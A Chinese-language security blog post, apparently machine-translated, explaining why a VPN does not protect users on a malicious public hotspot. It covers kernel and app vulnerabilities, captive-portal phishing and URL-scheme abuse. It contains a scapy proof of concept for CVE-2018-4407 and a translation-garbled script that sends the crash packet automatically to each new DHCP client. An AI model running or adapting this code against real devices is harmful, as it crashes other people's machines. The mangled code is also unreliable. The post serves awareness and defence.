vpn热点 有VPN保护就可以随意连接公共热点？大错特错

背景

当涉及到公共热点、钓鱼热点或恶意热点时，我们通常会提到可能存在攻击者嗅探网络流量的敏感信息，或者结合DNS劫持创建高度模拟的钓鱼环境，对用户构成安全威胁。

很多安全从业者在接受采访或咨询时，都建议在不安全的无线环境中开通VPN。目前国内很多手机应用也提供免费VPN功能，作为针对恶意热点的安全解决方案，吸引用户下载安装。

但是很多产品在宣传和描述的时候，都是过度描述或者断章取义，不自觉的去掉了限制。所以现在很多用户都有这样的错觉:“只要你使用VPN，就可以抵御恶意热点的所有攻击。随意连接WiFi热点也没关系。”

我随便搜了一下，这个论点在很多媒体文章里都有:

“专家认为，通过VPN来连接WiFi是非常安全的。”“用户只需在移动端开启VPN，填入用户名和密码，就可以安心的在公共WiFi网络中上网了。”

这些描述是不准确的。VPN可以保护设备的网络流量，但是恶意热点的攻击威胁远不止于此。

通常，当用户连接到公共热点时，他通常采取以下步骤:

打开无线功能，选择并连接到目标热点。通常需要通过Captive Portal强制门户页面进行认证获取网络权限。获取到网络权限后，有安全意识的用户会开启VPN保护流量。

后面我会举例说明，假设我是恶意热点构建者，面对这些打算用VPN进行保护的用户，我可以从哪些方面威胁到他们？

攻击威胁

系统级别的漏洞

影响最大的是操作系统本身的漏洞，对于没有及时更新修复漏洞的设备来说是一种杀伤效应。

1)缓冲区溢出漏洞CVE-2018-4407

CVE-2018-4407是安全研究员凯文·巴克豪斯在XNU系统内核中发现的一个堆缓冲区溢出漏洞。攻击者可能会利用缓冲区溢出来执行远程代码。IPhone、iPad、MacBook都受到影响，因为iOS和macOS都使用XNU。

影响范围:

Apple iOS 11及更早版本：所有设备（升级到iOS 12的部分设备）Apple macOS High Sierra（受影响的最高版本为10.13.6）：所有设备Apple macOS Sierra（受影响的最高版本为10.12.6）：所有设备Apple OS X El Capitan及更早版本：所有设备

凯文在推特上给了PoC和演示视频，可以在同一个局域网上崩溃Macbook和iPhone设备。

通过scapy工具发送数据可以触发该漏洞:

from scapy . all import * send(IP(dst = " 1 . 2 . 3 . 4 "，options =[ipOption(" A " * 18)]/TCP(DP ort = 2323，options=[(19，" 1"*18)，(19，" 2"*18)])

如果我们是钓鱼热点的攻击者，通过定期监控网络上当前活动的主机并向它们发送攻击代码，可以非常简单地实现“自动”效果。

假设dhcp和DNS服务由dnsmasq程序提供，DHCP池文件保存在'/var/lib/misc/dnsmasq.leaks '文件中。

导入os，time from scapy . all import * lines _ old = 0 lines _ new = 0 while 1:lines _ old = lines _ new if OS . path . exists('/var/lib/misc/dnsmasq . leans '):f = open('/var/lib/misc/dnsmasq . leans '，' r ')。read lines()lines _ new = len(f)if lines _ new & gt；line _ old:对于范围内的I(line _ old，lines _ new):值= f[i]。split()if len(value)= 5:print value[2]+' '+value[1]+' '+value[3]+' Connect！'对于范围(3)中的I:#对于苹果设备(CVE-2018-4407)发送(IP(dst =值[2]，选项=[IPOption(" A " * 18)])/TCP(dport = 2323，选项=[(19，" 1"*18)，(19，" 2"*18)])时间。睡眠(1)时间。睡眠(3)

此代码的功能是每3秒读取一次dhcp文件，如果发现新主机，生成一个漏洞并将其发送到设备。

如果这些苹果设备没有及时更新到bug修复版本，就会出现下图所示的崩溃效果:

2)永恒的蓝色

2017年4月14日，由美国国家安全局开发的漏洞利用程序“永恒蓝”被黑客组织“影子经纪人”泄露。该工具通过利用TCP445端口上文件共享协议的漏洞进行传播。

虽然微软在2017年3月14日发布了一个操作系统补丁来修复这个漏洞，当WannaCry ransomware在5月12日利用这个漏洞进行传播的时候，很多Windows用户还是没有安装补丁，英国、俄罗斯、欧洲、中国的很多大学内网、大型企业内网、政府机构专用网都被招了进来，为了解密和恢复文件，他们被勒索并支付了高额赎金。

永恒蓝大家都很熟悉，就不详细解释了。对于热点网络中没有修复漏洞的Windows设备，我们已经可以获得系统的最高权限。

软件应用中的漏洞

除了操作系统本身，我们安装的各种软件应用都会打开一些服务，如果有安全缺陷，也会成为攻击点，比如前两天爆发的es文件管理器的安全问题。

研究人员发现，本地HTTP服务器会在ES文件管理器启动后创建，服务器会一直打开，直到其所有后台服务完成。同一网络中的任何用户都可以直接攻击安装了ES文件管理器的设备。

因此，当连接到恶意热点的安卓客户端打开带有漏洞的ES文件浏览器时，我们甚至可以直接从设备上获取照片、视频和文档。

对了，官方已经完成修复，投放应用市场了。安卓用户看到这个记得升级。

使用专属门户钓鱼

如果无线客户端本身没有漏洞，我们也可以使用专属门户进行一些攻击。

如上所述，用户在打开VPN之前需要经过Captive Portal的认证，大多数无线设备会自动弹出一个弹出窗口，如下图所示。

在打开的网页中，网络权限通常是通过账号密码、手机验证码、微信认证等形式的认证打开的。

攻击者还可以在恶意热点上实施强制门户认证，并定制门户主页来欺骗和钓鱼用户。例如，假设需要在表格中填写个人信息，以换取免费使用网络，如下图所示。

简单来说，这是利用了在打开VPN之前需要通过Portal页面打开网络权限的间歇性需求。

进一步利用门户网站

在Pwn2own 2018上，很多通过浏览器发起的攻击都是由WiFi圈养门户的特性自动触发的。

让我们仔细看看这个门户浏览器，它不同于普通的系统浏览器。出于安全原因，它不包含所有功能，如Cookie和下载，但一些手机系统支持网址方案。

& ltscheme>。://& lt；主机>;:& ltport>。/& lt；路径>。？& lt查询>

URL方案是iOS和Android为开发者提供的一种APP跳转方式。Android APPs在Mainfest注册自己的Scheme，iOS apps在app属性中配置。配置完成后，可以以url的形式唤醒APP。比如我们可以用这个技术在门户浏览器中调用微信进行认证。

后来我很认真的想过怎么滥用这个功能。

连接WiFi自动打开商品的淘宝页面

2019最新乞讨方法

请在评论区添加想法

后来发现三星已经发现并修复了使用专属门户(SVE-2018-13474)自动重定向到第三方应用程序的问题。

我只想提一个给miui，我用来测试的。恰好他们也有SRC。结果被忽略了，因为他们觉得这不是miui问题。

好吧。

摘要

虽然我们的终端设备通常不会直接暴露在互联网上受到攻击，但很难确保各种无线网络中是否有潜在的攻击者。

本文想表达三个要点:

VPN并不是公共热点的万能保护福，它能保护网络流量，但还可能遭到其他形式的攻击。请对所有热点采取默认不信任态度，尽量不连接公共热点。及时进行系统、软件的更新，确保对各类安全缺陷的修复。